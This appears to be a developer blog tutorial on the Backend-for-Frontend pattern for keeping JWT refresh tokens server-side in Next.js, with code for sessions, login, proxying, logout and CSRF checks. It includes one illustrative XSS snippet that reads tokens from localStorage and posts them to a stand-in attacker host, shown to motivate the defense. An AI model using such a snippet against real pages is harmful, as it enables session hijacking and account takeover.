BFF Pattern: Securing JWT Refresh Tokens

If your SPA stores a JWT refresh token in localStorage, you have a problem. Any JavaScript running on your page — including injected scripts from XSS attacks — can read it, exfiltrate it, and use it to impersonate your users indefinitely.
The BFF (Backend for Frontend) pattern provides an architectural solution: move token management to the server, and the browser never touches a long-lived secret.
What You'll Learn
✅ Why storing JWT tokens in the browser is dangerous
✅ What the BFF pattern is and how it applies to authentication
✅ How BFF keeps refresh tokens server-side in HttpOnly cookies
✅ The complete token refresh flow with BFF
✅ How to implement this in Next.js with Route Handlers
✅ Trade-offs and when this pattern makes sense
Part 1: The Problem — Tokens in the Browser
How JWT Auth Usually Works
A typical JWT authentication flow for a Single Page Application:
- User logs in with credentials
- Auth server returns an access token (short-lived, e.g. 15 minutes) and a refresh token (long-lived, e.g. 30 days)
- SPA stores both tokens — usually in
localStorageorsessionStorage - SPA uses the access token on API calls
- When the access token expires, SPA uses the refresh token to get a new access token
The Attack Surface
The problem is step 2: both tokens live in the browser.
XSS (Cross-Site Scripting) is the most common web vulnerability. If an attacker can inject JavaScript into your page — through a third-party script, a vulnerability in a dependency, or an unsanitized user input — they can do this:
// Attacker's injected script — steals your tokens
const refreshToken = localStorage.getItem('refresh_token')
const accessToken = localStorage.getItem('access_token')
fetch('https://attacker.com/steal', {
method: 'POST',
body: JSON.stringify({ refreshToken, accessToken }),
})With the refresh token, the attacker can generate new access tokens whenever they want. The access token expires in 15 minutes — but the refresh token gives them persistent access for 30 days.
This is a critical severity vulnerability. The refresh token is essentially a long-lived password.
What About HttpOnly Cookies?
You may have heard the advice: "store tokens in HttpOnly cookies instead of localStorage." That's correct — HttpOnly cookies cannot be read by JavaScript. But if you just move your tokens to cookies without changing your architecture, you introduce CSRF vulnerabilities instead.
The right solution isn't just where you store the token — it's who has access to it. If the refresh token never reaches the browser at all, it cannot be stolen.
That's what BFF enables.
Part 2: The BFF Solution
Core Idea
In the BFF model, your Next.js server (or any server-side layer) acts as the intermediary between the browser and the auth server:
- The access token lives only on the server
- The refresh token lives only on the server
- The browser gets a session cookie (HttpOnly, Secure, SameSite=Strict) pointing to a server-side session
- JavaScript running in the browser has no access to any JWT
The browser never sees an access token or refresh token. It only has a session cookie — and HttpOnly cookies cannot be read by JavaScript.
Why This Is More Secure
| Attack | localStorage Tokens | BFF + HttpOnly Session Cookie |
|---|---|---|
| XSS | Tokens stolen by injected JS | Cookie not readable by JS — attack fails |
| CSRF | Not applicable (localStorage) | Mitigated with SameSite=Strict + CSRF tokens |
| Token theft via network | Tokens visible in JS memory | Tokens never leave the server |
| Persistent access after XSS | Refresh token gives 30-day access | Session can be invalidated server-side immediately |
| Log out | Client deletes token (unreliable) | Server invalidates session — guaranteed |
The BFF pattern doesn't eliminate all attacks, but it moves your secrets off a surface that JavaScript can reach.
Part 3: Implementing BFF Auth in Next.js
Let's build the token-secure auth flow with Next.js Route Handlers.
Setup: Session Store
You need somewhere to store tokens server-side. Options:
- Redis (recommended for production) — fast, supports TTL, horizontally scalable
- Database — simpler, but adds query overhead per request
- Encrypted cookie — stateless, but tokens are still transmitted (just encrypted)
For this example, we'll use an in-memory store to illustrate the concept clearly. Replace with Redis in production.
// lib/session-store.ts
import { randomUUID } from 'crypto'
interface Session {
accessToken: string
refreshToken: string
accessTokenExpiry: number
userId: string
}
// In production, use Redis: new Redis(process.env.REDIS_URL)
const sessions = new Map<string, Session>()
export function createSession(data: Omit<Session, never>): string {
const sessionId = randomUUID()
sessions.set(sessionId, data)
return sessionId
}
export function getSession(sessionId: string): Session | null {
return sessions.get(sessionId) ?? null
}
export function updateSession(sessionId: string, data: Partial<Session>): void {
const existing = sessions.get(sessionId)
if (existing) {
sessions.set(sessionId, { ...existing, ...data })
}
}
export function deleteSession(sessionId: string): void {
sessions.delete(sessionId)
}Step 1: Login Route Handler
The BFF receives credentials, forwards them to the auth server, and stores the returned tokens server-side.
// app/api/auth/login/route.ts
import { NextRequest, NextResponse } from 'next/server'
import { createSession } from '@/lib/session-store'
export async function POST(request: NextRequest) {
const { email, password } = await request.json()
// Forward credentials to auth server
const tokenResponse = await fetch(`${process.env.AUTH_SERVER_URL}/oauth/token`, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({
grant_type: 'password',
username: email,
password,
client_id: process.env.AUTH_CLIENT_ID,
client_secret: process.env.AUTH_CLIENT_SECRET,
}),
})
if (!tokenResponse.ok) {
return NextResponse.json({ error: 'Invalid credentials' }, { status: 401 })
}
const { access_token, refresh_token, expires_in, user_id } = await tokenResponse.json()
// Store tokens on the server — never sent to the browser
const sessionId = createSession({
accessToken: access_token,
refreshToken: refresh_token,
accessTokenExpiry: Date.now() + expires_in * 1000,
userId: user_id,
})
const response = NextResponse.json({ success: true })
// Only the session ID goes to the browser, in an HttpOnly cookie
response.cookies.set('session_id', sessionId, {
httpOnly: true, // Not readable by JavaScript
secure: true, // HTTPS only
sameSite: 'strict', // Blocks cross-site requests
maxAge: 30 * 24 * 60 * 60, // 30 days (matches refresh token lifetime)
path: '/',
})
return response
}Step 2: Authenticated API Proxy
Any API call from the browser goes through the BFF. The BFF reads the session, injects the access token, and handles token refresh transparently.
// lib/auth-fetch.ts
import { cookies } from 'next/headers'
import { getSession, updateSession } from '@/lib/session-store'
export async function authenticatedFetch(
url: string,
options: RequestInit = {}
): Promise<Response> {
const cookieStore = await cookies()
const sessionId = cookieStore.get('session_id')?.value
if (!sessionId) {
throw new Error('No session')
}
let session = getSession(sessionId)
if (!session) {
throw new Error('Session not found')
}
// Refresh access token if expired (with 30s buffer)
if (Date.now() > session.accessTokenExpiry - 30_000) {
const refreshed = await refreshAccessToken(session.refreshToken)
updateSession(sessionId, {
accessToken: refreshed.access_token,
accessTokenExpiry: Date.now() + refreshed.expires_in * 1000,
})
session = getSession(sessionId)!
}
// Inject the access token — browser never sees it
return fetch(url, {
...options,
headers: {
...options.headers,
Authorization: `Bearer ${session.accessToken}`,
},
})
}
async function refreshAccessToken(refreshToken: string) {
const response = await fetch(`${process.env.AUTH_SERVER_URL}/oauth/token`, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({
grant_type: 'refresh_token',
refresh_token: refreshToken,
client_id: process.env.AUTH_CLIENT_ID,
client_secret: process.env.AUTH_CLIENT_SECRET,
}),
})
if (!response.ok) {
throw new Error('Token refresh failed')
}
return response.json()
}Step 3: BFF Data Endpoint
// app/api/user/profile/route.ts
import { NextRequest, NextResponse } from 'next/server'
import { authenticatedFetch } from '@/lib/auth-fetch'
export async function GET(request: NextRequest) {
try {
const response = await authenticatedFetch(
`${process.env.API_BASE_URL}/users/me`
)
if (!response.ok) {
return NextResponse.json({ error: 'Upstream error' }, { status: response.status })
}
const data = await response.json()
// Shape the response for the frontend — only send what's needed
return NextResponse.json({
id: data.id,
name: data.name,
email: data.email,
avatarUrl: data.profile_picture_url,
})
} catch (error) {
if ((error as Error).message === 'No session') {
return NextResponse.json({ error: 'Unauthorized' }, { status: 401 })
}
return NextResponse.json({ error: 'Internal error' }, { status: 500 })
}
}Step 4: Logout — Guaranteed Invalidation
// app/api/auth/logout/route.ts
import { NextRequest, NextResponse } from 'next/server'
import { cookies } from 'next/headers'
import { deleteSession } from '@/lib/session-store'
export async function POST(request: NextRequest) {
const cookieStore = await cookies()
const sessionId = cookieStore.get('session_id')?.value
if (sessionId) {
// Invalidate the session on the server
deleteSession(sessionId)
}
const response = NextResponse.json({ success: true })
// Clear the session cookie
response.cookies.set('session_id', '', {
httpOnly: true,
secure: true,
sameSite: 'strict',
maxAge: 0,
path: '/',
})
return response
}This is a major security advantage over client-side token storage: when the user logs out, the server destroys the session. Even if an attacker captured the session cookie, it's immediately invalid. With localStorage tokens, the attacker keeps working tokens until they naturally expire.
Part 4: Using It from the Browser
The browser now calls your BFF endpoints — not the auth server or upstream API directly. No token handling required.
// hooks/useAuth.ts
'use client'
export function useAuth() {
async function login(email: string, password: string) {
const response = await fetch('/api/auth/login', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ email, password }),
credentials: 'include', // Include cookies in request
})
if (!response.ok) throw new Error('Login failed')
// No tokens to store — session cookie set automatically by browser
return response.json()
}
async function logout() {
await fetch('/api/auth/logout', {
method: 'POST',
credentials: 'include',
})
// Session is destroyed on server — no local cleanup needed
}
return { login, logout }
}// Fetching data — no token handling in the browser
async function loadUserProfile() {
const response = await fetch('/api/user/profile', {
credentials: 'include',
})
if (response.status === 401) {
// Redirect to login
window.location.href = '/login'
return
}
return response.json()
}The browser code is simpler too: no token storage, no expiry tracking, no refresh logic. That all lives in the BFF.
Part 5: With Next.js Server Components
The security benefit extends naturally to Server Components, which run entirely on the server:
// app/dashboard/page.tsx (Server Component)
import { cookies } from 'next/headers'
import { getSession } from '@/lib/session-store'
import { authenticatedFetch } from '@/lib/auth-fetch'
import { redirect } from 'next/navigation'
export default async function DashboardPage() {
const cookieStore = await cookies()
const sessionId = cookieStore.get('session_id')?.value
if (!sessionId || !getSession(sessionId)) {
redirect('/login')
}
// Access token used directly on the server — browser never involved
const response = await authenticatedFetch(`${process.env.API_BASE_URL}/dashboard`)
const data = await response.json()
return <Dashboard data={data} />
}In this model:
- The session cookie goes from browser to Next.js server
- Next.js reads the session, gets the access token
- Next.js calls the upstream API with the access token
- The browser receives rendered HTML — no tokens transmitted
The access token never leaves the server environment. This is the strictest possible model.
Part 6: Security Considerations
CSRF Protection
HttpOnly cookies are not readable by JavaScript, but they are automatically sent by the browser on cross-site requests. This opens the door to CSRF attacks.
Mitigate with:
- SameSite=Strict — the most important defense. Prevents cookies from being sent on cross-site requests entirely.
- Double Submit Cookie Pattern — send a CSRF token in both a cookie and a request header; the server verifies they match.
- Custom Request Header — require a custom header (e.g.
X-Requested-With: XMLHttpRequest) that cross-site requests can't set.
// CSRF token validation middleware example
export async function validateCsrf(request: NextRequest) {
const cookieCsrf = request.cookies.get('csrf_token')?.value
const headerCsrf = request.headers.get('X-CSRF-Token')
if (!cookieCsrf || cookieCsrf !== headerCsrf) {
return NextResponse.json({ error: 'CSRF validation failed' }, { status: 403 })
}
}Session Fixation
Always regenerate the session ID after login to prevent session fixation attacks:
// After successful login, invalidate old session and create new one
export async function POST(request: NextRequest) {
const oldSessionId = request.cookies.get('session_id')?.value
if (oldSessionId) deleteSession(oldSessionId) // Clean up old session
const sessionId = createSession({ /* new session data */ })
// ...set new session cookie
}Token Lifetime Alignment
Align your server-side session TTL with the refresh token lifetime. If the refresh token expires in 30 days, the session should also expire in 30 days. Use Redis TTL to handle this automatically.
// Redis-based session with automatic TTL
await redis.setex(`session:${sessionId}`, 30 * 24 * 60 * 60, JSON.stringify(session))Refresh Token Rotation
Use refresh token rotation: every time a refresh is performed, the auth server issues a new refresh token and invalidates the old one. This limits the blast radius if a refresh token is ever compromised at the server level.
Part 7: Trade-offs
Advantages
- No tokens in the browser — eliminates the entire class of JS-based token theft
- Guaranteed logout — server-side session invalidation is reliable
- Simpler browser code — no token management logic in the frontend
- Centralized token refresh — one place to update when auth logic changes
- Session revocation — you can invalidate any session at any time (e.g., password change, suspicious activity)
Disadvantages
- Server-side state — sessions require a server-side store (Redis), adding infrastructure
- Horizontal scaling — sessions must be accessible across all server instances (Redis handles this)
- Latency — every request requires a session lookup
- Not suitable for pure static sites — requires a server layer; doesn't apply to CDN-served apps with no backend
When to Use This Pattern
Use BFF token management when:
- You have a Next.js app (or any app with a server layer)
- You handle sensitive data where token theft would be critical
- You need reliable logout (healthcare, finance, enterprise)
- You want to simplify frontend auth code
Stick with client-side token storage when:
- You have a truly static site with no server layer
- You're building a public app where session invalidation isn't critical
- Your access tokens are extremely short-lived (under 5 minutes) and you accept the XSS risk for refresh
Summary
The core insight is simple: a secret that never reaches the browser cannot be stolen from the browser.
The BFF pattern applied to JWT auth means:
- User logs in → BFF exchanges credentials for tokens with the auth server
- Tokens stored on the server in a session store
- Browser receives only a session cookie (HttpOnly, not accessible to JavaScript)
- Every browser request to the BFF → BFF reads session → injects access token → calls upstream API
- Token refresh happens transparently on the server — browser doesn't know or care
- Logout destroys the server session — tokens are immediately invalidated
This eliminates the XSS-based token theft attack entirely. It adds server infrastructure (session store) but simplifies frontend code and gives you reliable session control.
In a Next.js app, this is straightforward to implement with Route Handlers and Server Components — the server layer already exists as part of your architecture.
Further Reading
📬 Subscribe to Newsletter
Get the latest blog posts delivered to your inbox every week. No spam, unsubscribe anytime.
We respect your privacy. Unsubscribe at any time.
💬 Comments
Sign in to leave a comment
We'll never post without your permission.